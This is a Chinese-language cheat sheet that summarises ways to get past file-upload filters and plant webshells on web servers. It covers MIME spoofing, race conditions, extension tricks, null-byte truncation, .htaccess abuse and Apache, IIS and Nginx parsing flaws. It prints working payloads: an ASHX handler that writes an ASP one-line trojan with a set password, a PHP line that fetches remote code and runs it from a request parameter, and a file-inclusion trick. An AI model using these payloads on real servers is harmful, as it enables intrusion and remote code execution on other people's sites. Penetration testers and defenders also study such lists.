一、常规的绕过方法:

(1) MIME类型绕过

  1. 上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

(2) 文件内容检测绕过

  1. 抓包,在正常图片末尾添加一句话木马

(3)多次上传Win特性绕过

  1. 多次上传同一个文件,windows会自动更新补全TEST (1).php。 有时会触发条件竞争,导致绕过。

(4) 条件竞争绕过

  1. 通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

(5)CONTENT-LENGTH绕过

  1. 针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

(6)文件内容检测绕过

  1. 针对文件内容检测的绕过,一般有两种方式, 1.制作图片马 2.文件幻术头绕过

(7)垃圾数据填充绕过

  1. 修改HTTP请求,再之中加入大量垃圾数据。

二、黑名单后缀绕过

(1)文件扩展名绕过

(2)ashx上传绕过

cer,asa,cdx等等无法使用时候。 解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:

  1. <%@ WebHandler Language="C#" Class="Handler" %>
  2. using System;
  3. using System.Web;
  4. using System.IO;
  5. public class Handler : IHttpHandler {
  6. public void ProcessRequest (HttpContext context) {
  7. context.Response.ContentType = "text/plain";
  8. //这里会在目录下生成一个test.asp的文件
  9. StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
  10. //这里是写入一句话木马 密码是:put
  11. file1.Write("<%response.clear:execute request("put"):response.End%>");
  12. file1.Flush();
  13. file1.Close();
  14. }
  15. public bool IsReusable {
  16. get {
  17. return false;
  18. }
  19. }
  20. }

(3)特殊文件名绕过

比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),
这种命名方式 在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会 被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

(4) Windows流特性绕过

php在windows的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。

三、 白名单后缀绕过

(1) 00截断绕过上传

  1. php .jpg 空格二进制20改为00 IIS 6.0 目录路径检测解析绕过 上传路径改为 XXX/1.asp/

(2)htaccess解析漏洞

  1. 上传的jpg文件都会以php格式解析
  2. .htaccess内容:
  3. AddType application/x-httpd-php a.jpg

(3) 突破MIME限制上传

  1. 方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

(4)Apache解析漏洞

  1. 一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。 2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

(5) IIS解析漏洞

  1. IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串, 那么这个目录下所有的文件都会按照asp去解析,
  2. 另一个是只要文件名中含有".asp;" 会优先按asp来解析 IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

(6)Nginx解析漏洞

  1. 解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php 描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php 的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。 还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

(7)分号截断

Content-Disposition: form-data; name=”file”; filename=php.php;.jpg

(8)前端限制绕过

  1. 1.使用BURP抓包修改后重放 2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

(9)下载绕过

  1. 远程下载文件绕过
  2. <?php $str = file_get_contents('http://127.0.0.1/ian.txt');
  3. $str($_post['cmd']); ?>

(10)文件包含绕过

  1. 上传图片木马 $x=$_GET['x']; include($x);
  2. 访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

文件上传绕过总结 - 图1

文件上传绕过总结 - 图2